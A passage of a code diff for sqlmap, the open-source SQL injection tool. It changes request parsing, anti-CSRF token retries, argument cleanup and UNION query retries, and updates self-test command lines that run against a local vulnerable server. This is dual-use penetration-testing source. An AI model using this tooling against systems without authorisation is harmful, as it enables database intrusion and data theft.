conf.data = re.sub(r"(=[^%s]+)" % DEFAULT_GET_POST_DELIMITER, r"\g<1>%s" % kb.customInjectionMark, conf.data)
|
conf.data = re.sub(r"(=[^%s]+)" % DEFAULT_GET_POST_DELIMITER, r"\g<1>%s" % kb.customInjectionMark, conf.data)
|
||||||
|
|
||||||
kb.postHint = POST_HINT.ARRAY_LIKE
|
|
||||||
|
|
||||||
elif re.search(XML_RECOGNITION_REGEX, conf.data):
|
elif re.search(XML_RECOGNITION_REGEX, conf.data):
|
||||||
message = "SOAP/XML data found in %s body. " % conf.method
|
message = "SOAP/XML data found in %s body. " % conf.method
|
||||||
message += "Do you want to process it? [Y/n/q] "
|
message += "Do you want to process it? [Y/n/q] "
|
||||||
@@ -199,13 +200,12 @@ def _setRequestParams():
|
|||||||
if choice == 'Q':
|
if choice == 'Q':
|
||||||
raise SqlmapUserQuitException
|
raise SqlmapUserQuitException
|
||||||
elif choice == 'Y':
|
elif choice == 'Y':
|
||||||
|
kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML
|
||||||
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
||||||
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
||||||
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
||||||
conf.data = re.sub(r"(<(?P<name>[^>]+)( [^<]*)?>)([^<]+)(</\2)", functools.partial(process, repl=r"\g<1>\g<4>%s\g<5>" % kb.customInjectionMark), conf.data)
|
conf.data = re.sub(r"(<(?P<name>[^>]+)( [^<]*)?>)([^<]+)(</\2)", functools.partial(process, repl=r"\g<1>\g<4>%s\g<5>" % kb.customInjectionMark), conf.data)
|
||||||
|
|
||||||
kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML
|
|
||||||
|
|
||||||
elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data):
|
elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data):
|
||||||
message = "Multipart-like data found in %s body. " % conf.method
|
message = "Multipart-like data found in %s body. " % conf.method
|
||||||
message += "Do you want to process it? [Y/n/q] "
|
message += "Do you want to process it? [Y/n/q] "
|
||||||
@@ -214,13 +214,12 @@ def _setRequestParams():
|
|||||||
if choice == 'Q':
|
if choice == 'Q':
|
||||||
raise SqlmapUserQuitException
|
raise SqlmapUserQuitException
|
||||||
elif choice == 'Y':
|
elif choice == 'Y':
|
||||||
|
kb.postHint = POST_HINT.MULTIPART
|
||||||
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
|
||||||
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
|
||||||
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
|
||||||
conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"']?(?P<name>[^\"'\r\n]+)[\"']?).+?)((%s)+--)" % ("\r\n" if "\r\n" in conf.data else '\n'), functools.partial(process, repl=r"\g<1>%s\g<4>" % kb.customInjectionMark), conf.data)
|
conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"']?(?P<name>[^\"'\r\n]+)[\"']?).+?)((%s)+--)" % ("\r\n" if "\r\n" in conf.data else '\n'), functools.partial(process, repl=r"\g<1>%s\g<4>" % kb.customInjectionMark), conf.data)
|
||||||
|
|
||||||
kb.postHint = POST_HINT.MULTIPART
|
|
||||||
|
|
||||||
if not kb.postHint:
|
if not kb.postHint:
|
||||||
if kb.customInjectionMark in conf.data: # later processed
|
if kb.customInjectionMark in conf.data: # later processed
|
||||||
pass
|
pass
|
||||||
|
|||||||
+9
-4
@@ -39,8 +39,8 @@ def vulnTest():
|
|||||||
|
|
||||||
TESTS = (
|
TESTS = (
|
||||||
("-h", ("to see full list of options run with '-hh'",)),
|
("-h", ("to see full list of options run with '-hh'",)),
|
||||||
("-u <url> --flush-session --wizard --check-internet", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.", "~no connection detected")),
|
|
||||||
("--dependencies", ("sqlmap requires", "third-party library")),
|
("--dependencies", ("sqlmap requires", "third-party library")),
|
||||||
|
("-u <url> --flush-session --wizard", ("Please choose:", "back-end DBMS: SQLite", "current user is DBA: True", "banner: '3.")),
|
||||||
(u"-c <config> --flush-session --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible")),
|
(u"-c <config> --flush-session --roles --statements --hostname --privileges --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=U", (u": '\u0161u\u0107uraj'", "on SQLite it is not possible")),
|
||||||
(u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'",)),
|
(u"-u <url> --flush-session --sql-query=\"SELECT '\u0161u\u0107uraj'\" --technique=B --no-escape --string=luther --unstable", (u": '\u0161u\u0107uraj'",)),
|
||||||
("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")),
|
("--dummy", ("all tested parameters do not appear to be injectable", "does not seem to be injectable", "there is not at least one", "~might be injectable")),
|
||||||
@@ -48,6 +48,7 @@ def vulnTest():
|
|||||||
("-r <request> --flush-session -v 5 --test-skip='heavy' --save=<tmp>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar", "~Type: time-based blind")),
|
("-r <request> --flush-session -v 5 --test-skip='heavy' --save=<tmp>", ("CloudFlare", "possible DBMS: 'SQLite'", "User-agent: foobar", "~Type: time-based blind")),
|
||||||
("-l <log> --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
|
("-l <log> --flush-session --keep-alive --skip-waf -v 5 --technique=U --union-from=users --banner --parse-errors", ("banner: '3.", "ORDER BY term out of range", "~xp_cmdshell", "Connection: keep-alive")),
|
||||||
("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
|
("-l <log> --offline --banner -v 5", ("banner: '3.", "~[TRAFFIC OUT]")),
|
||||||
|
("-u <url> --flush-session --banner --technique=B --not-string 'no results'", ("banner: '3.",)),
|
||||||
("-u <url> --flush-session --banner --technique=B --first=1 --last=2", ("banner: '3.'",)),
|
("-u <url> --flush-session --banner --technique=B --first=1 --last=2", ("banner: '3.'",)),
|
||||||
("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
|
("-u <url> --flush-session --encoding=ascii --forms --crawl=2 --threads=2 --banner", ("total of 2 targets", "might be injectable", "Type: UNION query", "banner: '3.")),
|
||||||
("-u <url> --flush-session --data='{\"id\": 1}' --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")),
|
("-u <url> --flush-session --data='{\"id\": 1}' --banner", ("might be injectable", "3 columns", "Payload: {\"id\"", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "banner: '3.")),
|
||||||
@@ -85,9 +86,13 @@ def vulnTest():
|
|||||||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
try:
|
try:
|
||||||
s.connect((address, port))
|
s.connect((address, port))
|
||||||
break
|
s.send(b"GET / HTTP/1.0\r\n\r\n")
|
||||||
|
if b"vulnserver" in s.recv(4096):
|
||||||
|
break
|
||||||
except:
|
except:
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
|
finally:
|
||||||
|
s.close()
|
||||||
|
|
||||||
handle, config = tempfile.mkstemp(suffix=".conf")
|
handle, config = tempfile.mkstemp(suffix=".conf")
|
||||||
os.close(handle)
|
os.close(handle)
|
||||||
@@ -326,7 +331,7 @@ def smokeTest():
|
|||||||
count, length = 0, 0
|
count, length = 0, 0
|
||||||
|
|
||||||
for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH):
|
for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH):
|
||||||
if any(_ in root for _ in ("thirdparty", "extra")):
|
if any(_ in root for _ in ("thirdparty", "extra", "interbase")):
|
||||||
continue
|
continue
|
||||||
|
|
||||||
for filename in files:
|
for filename in files:
|
||||||
@@ -334,7 +339,7 @@ def smokeTest():
|
|||||||
length += 1
|
length += 1
|
||||||
|
|
||||||
for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH):
|
for root, _, files in os.walk(paths.SQLMAP_ROOT_PATH):
|
||||||
if any(_ in root for _ in ("thirdparty", "extra")):
|
if any(_ in root for _ in ("thirdparty", "extra", "interbase")):
|
||||||
continue
|
continue
|
||||||
|
|
||||||
for filename in files:
|
for filename in files:
|
||||||
|
|||||||
+2
-1
@@ -21,6 +21,7 @@ from lib.core.datatype import AttribDict
|
|||||||
from lib.core.enums import PAYLOAD
|
from lib.core.enums import PAYLOAD
|
||||||
from lib.core.exception import SqlmapBaseException
|
from lib.core.exception import SqlmapBaseException
|
||||||
from lib.core.exception import SqlmapConnectionException
|
from lib.core.exception import SqlmapConnectionException
|
||||||
|
from lib.core.exception import SqlmapSkipTargetException
|
||||||
from lib.core.exception import SqlmapThreadException
|
from lib.core.exception import SqlmapThreadException
|
||||||
from lib.core.exception import SqlmapUserQuitException
|
from lib.core.exception import SqlmapUserQuitException
|
||||||
from lib.core.exception import SqlmapValueException
|
from lib.core.exception import SqlmapValueException
|
||||||
@@ -101,7 +102,7 @@ def exceptionHandledFunction(threadFunction, silent=False):
|
|||||||
except Exception as ex:
|
except Exception as ex:
|
||||||
from lib.core.common import getSafeExString
|
from lib.core.common import getSafeExString
|
||||||
|
|
||||||
if not silent and kb.get("threadContinue") and not kb.get("multipleCtrlC") and not isinstance(ex, SqlmapUserQuitException):
|
if not silent and kb.get("threadContinue") and not kb.get("multipleCtrlC") and not isinstance(ex, (SqlmapUserQuitException, SqlmapSkipTargetException)):
|
||||||
errMsg = getSafeExString(ex) if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, getSafeExString(ex))
|
errMsg = getSafeExString(ex) if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, getSafeExString(ex))
|
||||||
logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg))
|
logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg))
|
||||||
|
|
||||||
|
|||||||
+15
-5
@@ -267,6 +267,9 @@ def cmdLineParser(argv=None):
|
|||||||
request.add_argument("--csrf-method", dest="csrfMethod",
|
request.add_argument("--csrf-method", dest="csrfMethod",
|
||||||
help="HTTP method to use during anti-CSRF token page visit")
|
help="HTTP method to use during anti-CSRF token page visit")
|
||||||
|
|
||||||
|
request.add_argument("--csrf-retries", dest="csrfRetries", type=int,
|
||||||
|
help="Retries for anti-CSRF token retrieval (default %d)" % defaults.csrfRetries)
|
||||||
|
|
||||||
request.add_argument("--force-ssl", dest="forceSSL", action="store_true",
|
request.add_argument("--force-ssl", dest="forceSSL", action="store_true",
|
||||||
help="Force usage of SSL/HTTPS")
|
help="Force usage of SSL/HTTPS")
|
||||||
|
|
||||||
@@ -916,18 +919,25 @@ def cmdLineParser(argv=None):
|
|||||||
except ValueError as ex:
|
except ValueError as ex:
|
||||||
raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % getSafeExString(ex))
|
raise SqlmapSyntaxException("something went wrong during command line parsing ('%s')" % getSafeExString(ex))
|
||||||
|
|
||||||
|
longOptions = set(re.findall(r"\-\-([^= ]+?)=", parser.format_help()))
|
||||||
|
longSwitches = set(re.findall(r"\-\-([^= ]+?)\s", parser.format_help()))
|
||||||
|
|
||||||
for i in xrange(len(argv)):
|
for i in xrange(len(argv)):
|
||||||
longOptions = set(re.findall(r"\-\-([^= ]+?)=", parser.format_help()))
|
# Reference: https://en.wiktionary.org/wiki/-
|
||||||
longSwitches = set(re.findall(r"\-\-([^= ]+?)\s", parser.format_help()))
|
argv[i] = re.sub(u"\A(\u2010|\u2013|\u2212|\u2014|\u4e00|\u1680|\uFE63|\uFF0D)+", lambda match: '-' * len(match.group(0)), argv[i])
|
||||||
|
|
||||||
|
# Reference: https://unicode-table.com/en/sets/quotation-marks/
|
||||||
|
argv[i] = argv[i].strip(u"\u00AB\u2039\u00BB\u203A\u201E\u201C\u201F\u201D\u2019\u0022\u275D\u275E\u276E\u276F\u2E42\u301D\u301E\u301F\uFF02\u201A\u2018\u201B\u275B\u275C")
|
||||||
|
|
||||||
if argv[i] == "-hh":
|
if argv[i] == "-hh":
|
||||||
argv[i] = "-h"
|
argv[i] = "-h"
|
||||||
elif i == 1 and re.search(r"\A(http|www\.|\w[\w.-]+\.\w{2,})", argv[i]) is not None:
|
elif i == 1 and re.search(r"\A(http|www\.|\w[\w.-]+\.\w{2,})", argv[i]) is not None:
|
||||||
argv[i] = "--url=%s" % argv[i]
|
argv[i] = "--url=%s" % argv[i]
|
||||||
elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])):
|
elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])):
|
||||||
dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is, well, illegal (%s)\n" % argv[i])
|
dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is illegal (%s)\n" % argv[i])
|
||||||
raise SystemExit
|
raise SystemExit
|
||||||
elif len(argv[i]) > 1 and u"\uff0c" in argv[i].split('=', 1)[-1]:
|
elif len(argv[i]) > 1 and u"\uff0c" in argv[i].split('=', 1)[-1]:
|
||||||
dataToStdout("[!] copy-pasting illegal (non-console) comma characters from Internet is, well, illegal (%s)\n" % argv[i])
|
dataToStdout("[!] copy-pasting illegal (non-console) comma characters from Internet is illegal (%s)\n" % argv[i])
|
||||||
raise SystemExit
|
raise SystemExit
|
||||||
elif re.search(r"\A-\w=.+", argv[i]):
|
elif re.search(r"\A-\w=.+", argv[i]):
|
||||||
dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i])
|
dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i])
|
||||||
@@ -945,7 +955,7 @@ def cmdLineParser(argv=None):
|
|||||||
else:
|
else:
|
||||||
argv[tamperIndex] = "%s,%s" % (argv[tamperIndex], argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else ""))
|
argv[tamperIndex] = "%s,%s" % (argv[tamperIndex], argv[i].split('=')[1] if '=' in argv[i] else (argv[i + 1] if i + 1 < len(argv) and not argv[i + 1].startswith('-') else ""))
|
||||||
argv[i] = ""
|
argv[i] = ""
|
||||||
elif argv[i] == "-H":
|
elif argv[i] in ("-H", "--header"):
|
||||||
if i + 1 < len(argv):
|
if i + 1 < len(argv):
|
||||||
extraHeaders.append(argv[i + 1])
|
extraHeaders.append(argv[i + 1])
|
||||||
elif argv[i] == "--deps":
|
elif argv[i] == "--deps":
|
||||||
|
|||||||
@@ -63,13 +63,19 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
|
|||||||
if any((conf.string, conf.notString, conf.regexp)):
|
if any((conf.string, conf.notString, conf.regexp)):
|
||||||
rawResponse = "%s%s" % (listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else "", page)
|
rawResponse = "%s%s" % (listToStrValue(_ for _ in headers.headers if not _.startswith("%s:" % URI_HTTP_HEADER)) if headers else "", page)
|
||||||
|
|
||||||
# String to match in page when the query is True and/or valid
|
# String to match in page when the query is True
|
||||||
if conf.string:
|
if conf.string:
|
||||||
return conf.string in rawResponse
|
return conf.string in rawResponse
|
||||||
|
|
||||||
# String to match in page when the query is False and/or invalid
|
# String to match in page when the query is False
|
||||||
if conf.notString:
|
if conf.notString:
|
||||||
return conf.notString not in rawResponse
|
if conf.notString in rawResponse:
|
||||||
|
return False
|
||||||
|
else:
|
||||||
|
if kb.errorIsNone and (wasLastResponseDBMSError() or wasLastResponseHTTPError()):
|
||||||
|
return None
|
||||||
|
else:
|
||||||
|
return True
|
||||||
|
|
||||||
# Regular expression to match in page when the query is True and/or valid
|
# Regular expression to match in page when the query is True and/or valid
|
||||||
if conf.regexp:
|
if conf.regexp:
|
||||||
|
|||||||
+48
-37
@@ -1045,6 +1045,8 @@ class Connect(object):
|
|||||||
auxHeaders[value.split(',')[0]] = value.split(',', 1)[-1]
|
auxHeaders[value.split(',')[0]] = value.split(',', 1)[-1]
|
||||||
|
|
||||||
if conf.csrfToken:
|
if conf.csrfToken:
|
||||||
|
token = AttribDict()
|
||||||
|
|
||||||
def _adjustParameter(paramString, parameter, newValue):
|
def _adjustParameter(paramString, parameter, newValue):
|
||||||
retVal = paramString
|
retVal = paramString
|
||||||
|
|
||||||
@@ -1061,56 +1063,64 @@ class Connect(object):
|
|||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
token = AttribDict()
|
for attempt in xrange(conf.csrfRetries + 1):
|
||||||
page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
|
if token:
|
||||||
page = urldecode(page) # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...')
|
break
|
||||||
|
|
||||||
match = re.search(r"(?i)<input[^>]+\bname=[\"']?(?P<name>%s)\b[^>]*\bvalue=[\"']?(?P<value>[^>'\"]*)" % conf.csrfToken, page or "", re.I)
|
if attempt > 0:
|
||||||
|
warnMsg = "unable to find anti-CSRF token '%s' at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url)
|
||||||
|
warnMsg += ". sqlmap is going to retry the request"
|
||||||
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
if not match:
|
page, headers, code = Connect.getPage(url=conf.csrfUrl or conf.url, data=conf.data if conf.csrfUrl == conf.url else None, method=conf.csrfMethod or (conf.method if conf.csrfUrl == conf.url else None), cookie=conf.parameters.get(PLACE.COOKIE), direct=True, silent=True, ua=conf.parameters.get(PLACE.USER_AGENT), referer=conf.parameters.get(PLACE.REFERER), host=conf.parameters.get(PLACE.HOST))
|
||||||
match = re.search(r"(?i)<input[^>]+\bvalue=[\"']?(?P<value>[^>'\"]*)[\"']?[^>]*\bname=[\"']?(?P<name>%s)\b" % conf.csrfToken, page or "", re.I)
|
page = urldecode(page) # for anti-CSRF tokens with special characters in their name (e.g. 'foo:bar=...')
|
||||||
|
|
||||||
|
match = re.search(r"(?i)<input[^>]+\bname=[\"']?(?P<name>%s)\b[^>]*\bvalue=[\"']?(?P<value>[^>'\"]*)" % conf.csrfToken, page or "", re.I)
|
||||||
|
|
||||||
if not match:
|
if not match:
|
||||||
match = re.search(r"(?P<name>%s)[\"']:[\"'](?P<value>[^\"']+)" % conf.csrfToken, page or "", re.I)
|
match = re.search(r"(?i)<input[^>]+\bvalue=[\"']?(?P<value>[^>'\"]*)[\"']?[^>]*\bname=[\"']?(?P<name>%s)\b" % conf.csrfToken, page or "", re.I)
|
||||||
|
|
||||||
if not match:
|
if not match:
|
||||||
match = re.search(r"\b(?P<name>%s)\s*[:=]\s*(?P<value>\w+)" % conf.csrfToken, str(headers), re.I)
|
match = re.search(r"(?P<name>%s)[\"']:[\"'](?P<value>[^\"']+)" % conf.csrfToken, page or "", re.I)
|
||||||
|
|
||||||
if not match:
|
if not match:
|
||||||
match = re.search(r"\b(?P<name>%s)\s*=\s*['\"]?(?P<value>[^;'\"]+)" % conf.csrfToken, page or "", re.I)
|
match = re.search(r"\b(?P<name>%s)\s*[:=]\s*(?P<value>\w+)" % conf.csrfToken, str(headers), re.I)
|
||||||
|
|
||||||
if match:
|
if not match:
|
||||||
token.name, token.value = match.group("name"), match.group("value")
|
match = re.search(r"\b(?P<name>%s)\s*=\s*['\"]?(?P<value>[^;'\"]+)" % conf.csrfToken, page or "", re.I)
|
||||||
|
|
||||||
match = re.search(r"String\.fromCharCode\(([\d+, ]+)\)", token.value)
|
|
||||||
if match:
|
if match:
|
||||||
token.value = "".join(_unichr(int(_)) for _ in match.group(1).replace(' ', "").split(','))
|
token.name, token.value = match.group("name"), match.group("value")
|
||||||
|
|
||||||
if not token:
|
match = re.search(r"String\.fromCharCode\(([\d+, ]+)\)", token.value)
|
||||||
if conf.csrfUrl and conf.csrfToken and conf.csrfUrl != conf.url and code == _http_client.OK:
|
if match:
|
||||||
if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""):
|
token.value = "".join(_unichr(int(_)) for _ in match.group(1).replace(' ', "").split(','))
|
||||||
token.name = conf.csrfToken
|
|
||||||
token.value = page
|
|
||||||
|
|
||||||
if not token and conf.cj and any(re.search(conf.csrfToken, _.name, re.I) for _ in conf.cj):
|
|
||||||
for _ in conf.cj:
|
|
||||||
if re.search(conf.csrfToken, _.name, re.I):
|
|
||||||
token.name, token.value = _.name, _.value
|
|
||||||
if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))):
|
|
||||||
if post:
|
|
||||||
post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value)
|
|
||||||
elif get:
|
|
||||||
get = "%s%s%s=%s" % (get, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value)
|
|
||||||
else:
|
|
||||||
get = "%s=%s" % (token.name, token.value)
|
|
||||||
break
|
|
||||||
|
|
||||||
if not token:
|
if not token:
|
||||||
errMsg = "anti-CSRF token '%s' can't be found at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url)
|
if conf.csrfUrl and conf.csrfToken and conf.csrfUrl != conf.url and code == _http_client.OK:
|
||||||
if not conf.csrfUrl:
|
if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""):
|
||||||
errMsg += ". You can try to rerun by providing "
|
token.name = conf.csrfToken
|
||||||
errMsg += "a valid value for option '--csrf-url'"
|
token.value = page
|
||||||
raise SqlmapTokenException(errMsg)
|
|
||||||
|
if not token and conf.cj and any(re.search(conf.csrfToken, _.name, re.I) for _ in conf.cj):
|
||||||
|
for _ in conf.cj:
|
||||||
|
if re.search(conf.csrfToken, _.name, re.I):
|
||||||
|
token.name, token.value = _.name, _.value
|
||||||
|
if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))):
|
||||||
|
if post:
|
||||||
|
post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value)
|
||||||
|
elif get:
|
||||||
|
get = "%s%s%s=%s" % (get, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value)
|
||||||
|
else:
|
||||||
|
get = "%s=%s" % (token.name, token.value)
|
||||||
|
break
|
||||||
|
|
||||||
|
if not token:
|
||||||
|
errMsg = "anti-CSRF token '%s' can't be found at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url)
|
||||||
|
if not conf.csrfUrl:
|
||||||
|
errMsg += ". You can try to rerun by providing "
|
||||||
|
errMsg += "a valid value for option '--csrf-url'"
|
||||||
|
raise SqlmapTokenException(errMsg)
|
||||||
|
|
||||||
if token:
|
if token:
|
||||||
token.value = token.value.strip("'\"")
|
token.value = token.value.strip("'\"")
|
||||||
@@ -1150,7 +1160,7 @@ class Connect(object):
|
|||||||
|
|
||||||
if conf.evalCode:
|
if conf.evalCode:
|
||||||
delimiter = conf.paramDel or DEFAULT_GET_POST_DELIMITER
|
delimiter = conf.paramDel or DEFAULT_GET_POST_DELIMITER
|
||||||
variables = {"uri": uri, "lastPage": threadData.lastPage, "_locals": locals()}
|
variables = {"uri": uri, "lastPage": threadData.lastPage, "_locals": locals(), "cookie": cookie}
|
||||||
originals = {}
|
originals = {}
|
||||||
|
|
||||||
if not get and PLACE.URI in conf.parameters:
|
if not get and PLACE.URI in conf.parameters:
|
||||||
@@ -1218,6 +1228,7 @@ class Connect(object):
|
|||||||
variables[unsafeVariableNaming(variable)] = value
|
variables[unsafeVariableNaming(variable)] = value
|
||||||
|
|
||||||
uri = variables["uri"]
|
uri = variables["uri"]
|
||||||
|
cookie = variables["cookie"]
|
||||||
|
|
||||||
for name, value in variables.items():
|
for name, value in variables.items():
|
||||||
if name != "__builtins__" and originals.get(name, "") != value:
|
if name != "__builtins__" and originals.get(name, "") != value:
|
||||||
|
|||||||
@@ -154,6 +154,7 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
|
|||||||
except AttributeError:
|
except AttributeError:
|
||||||
def _(self):
|
def _(self):
|
||||||
return getattr(self, "hdrs") or {}
|
return getattr(self, "hdrs") or {}
|
||||||
|
|
||||||
result.info = types.MethodType(_, result)
|
result.info = types.MethodType(_, result)
|
||||||
|
|
||||||
if not hasattr(result, "read"):
|
if not hasattr(result, "read"):
|
||||||
@@ -162,8 +163,8 @@ class SmartRedirectHandler(_urllib.request.HTTPRedirectHandler):
|
|||||||
retVal = getSafeExString(ex)
|
retVal = getSafeExString(ex)
|
||||||
except:
|
except:
|
||||||
retVal = ""
|
retVal = ""
|
||||||
finally:
|
return retVal
|
||||||
return retVal
|
|
||||||
result.read = types.MethodType(_, result)
|
result.read = types.MethodType(_, result)
|
||||||
|
|
||||||
if not getattr(result, "url", None):
|
if not getattr(result, "url", None):
|
||||||
|
|||||||
@@ -167,6 +167,12 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
|
|||||||
warnMsg += "(probably due to its length and/or content): "
|
warnMsg += "(probably due to its length and/or content): "
|
||||||
warnMsg += safecharencode(trimmed)
|
warnMsg += safecharencode(trimmed)
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
elif re.search(r"ORDER BY [^ ]+\Z", expression):
|
||||||
|
debugMsg = "retrying failed SQL query without the ORDER BY clause"
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
|
expression = re.sub(r"\s*ORDER BY [^ ]+\Z", "", expression)
|
||||||
|
retVal = _oneShotUnionUse(expression, unpack, limited)
|
||||||
else:
|
else:
|
||||||
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
|
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
|
||||||
kb.unionDuplicates = vector[7]
|
kb.unionDuplicates = vector[7]
|
||||||
|
|||||||
+19
-1
@@ -49,6 +49,7 @@ from lib.core.settings import IS_WIN
|
|||||||
from lib.core.settings import RESTAPI_DEFAULT_ADAPTER
|
from lib.core.settings import RESTAPI_DEFAULT_ADAPTER
|
||||||
from lib.core.settings import RESTAPI_DEFAULT_ADDRESS
|
from lib.core.settings import RESTAPI_DEFAULT_ADDRESS
|
||||||
from lib.core.settings import RESTAPI_DEFAULT_PORT
|
from lib.core.settings import RESTAPI_DEFAULT_PORT
|
||||||
|
from lib.core.settings import VERSION_STRING
|
||||||
from lib.core.shell import autoCompletion
|
from lib.core.shell import autoCompletion
|
||||||
from lib.core.subprocessng import Popen
|
from lib.core.subprocessng import Popen
|
||||||
from lib.parse.cmdline import cmdLineParser
|
from lib.parse.cmdline import cmdLineParser
|
||||||
@@ -657,6 +658,15 @@ def download(taskid, target, filename):
|
|||||||
logger.warning("[%s] File does not exist %s" % (taskid, target))
|
logger.warning("[%s] File does not exist %s" % (taskid, target))
|
||||||
return jsonize({"success": False, "message": "File does not exist"})
|
return jsonize({"success": False, "message": "File does not exist"})
|
||||||
|
|
||||||
|
@get("/version")
|
||||||
|
def version(token=None):
|
||||||
|
"""
|
||||||
|
Fetch server version
|
||||||
|
"""
|
||||||
|
|
||||||
|
logger.debug("Fetched version (%s)" % ("admin" if is_admin(token) else request.remote_addr))
|
||||||
|
return jsonize({"success": True, "version": VERSION_STRING.split('/')[-1]})
|
||||||
|
|
||||||
def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=RESTAPI_DEFAULT_ADAPTER, username=None, password=None):
|
def server(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, adapter=RESTAPI_DEFAULT_ADAPTER, username=None, password=None):
|
||||||
"""
|
"""
|
||||||
REST-JSON API server
|
REST-JSON API server
|
||||||
@@ -760,7 +770,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
|
|||||||
logger.critical(errMsg)
|
logger.critical(errMsg)
|
||||||
return
|
return
|
||||||
|
|
||||||
commands = ("help", "new", "use", "data", "log", "status", "option", "stop", "kill", "list", "flush", "exit", "bye", "quit")
|
